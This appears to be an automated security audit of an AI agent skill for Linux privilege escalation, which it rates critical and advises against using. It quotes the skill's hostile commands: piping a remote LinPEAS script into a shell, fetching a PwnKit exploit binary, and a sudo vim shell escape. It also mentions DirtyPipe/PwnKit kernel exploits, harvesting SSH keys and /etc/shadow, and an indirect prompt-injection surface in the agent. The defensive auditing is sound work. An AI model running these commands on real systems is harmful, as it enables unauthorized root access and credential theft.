offensive-linux-privesc
Fail
Audited by Gen Agent Trust Hub on Sep 21, 2026
Risk Level: CRITICALREMOTE_CODE_EXECUTIONEXTERNAL_DOWNLOADSPRIVILEGE_ESCALATIONDATA_EXFILTRATIONDYNAMIC_EXECUTIONINDIRECT_PROMPT_INJECTIONCOMMAND_EXECUTION
Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill utilizes highly dangerous patterns for remote script execution.
- It pipes a remote script directly into a shell:
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh. - It downloads and executes external binaries:
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit. - These sources are third-party GitHub repositories not associated with trusted vendors.
- [EXTERNAL_DOWNLOADS]: The skill downloads multiple scripts, binaries, and repositories from various GitHub accounts (e.g., peass-ng, ly4k, blasty) for system enumeration and exploitation.
- [PRIVILEGE_ESCALATION]: The core functionality is the systematic exploitation of security misconfigurations to gain root access.
- It provides methods for abusing SUID/SGID binaries, Linux capabilities, and sudo permissions (e.g.,
sudo vim -c '!bash'). - It includes instructions for kernel exploitation using vulnerabilities like DirtyPipe (CVE-2022-0847) and PwnKit (CVE-2021-4034).
- It describes unauthorized modifications to
/etc/passwdto inject a new root user. - [DATA_EXFILTRATION]: The skill facilitates the harvesting of sensitive data from the host system.
- It targets SSH private keys (
id_rsa,*.pem), the/etc/shadowfile, and shell history files. - It searches for configuration files containing secrets, tokens, and passwords across the file system.
- [DYNAMIC_EXECUTION]: The skill instructs the agent to perform runtime compilation of exploit code using
gccfor kernel-level attacks. - [INDIRECT_PROMPT_INJECTION]: The skill possesses a vulnerability surface for indirect prompt injection where malicious output from tools could influence agent behavior.
- Ingestion points: The agent is instructed to read and process output from automated enumeration tools like LinPEAS and pspy (SKILL.md).
- Boundary markers: No delimiters or instructions to ignore embedded commands within the tool output are provided.
- Capability inventory: The skill provides full shell access, file writing capabilities, and access to the compiler (gcc).
- Sanitization: No sanitization or validation of the external tool output is performed.
- [COMMAND_EXECUTION]: Instructions involve low-level system commands that significantly alter the target environment, such as
chmod +s,mount, andsystemctl.
Recommendations
- HIGH: Downloads and executes remote code from: https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh, https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit - DO NOT USE without thorough review
- CRITICAL: 1 file(s) identified as malware by FileRep - DO NOT USE
- AI detected serious security threats
- Contains 2 malicious URL(s) - DO NOT USE
Audit Metadata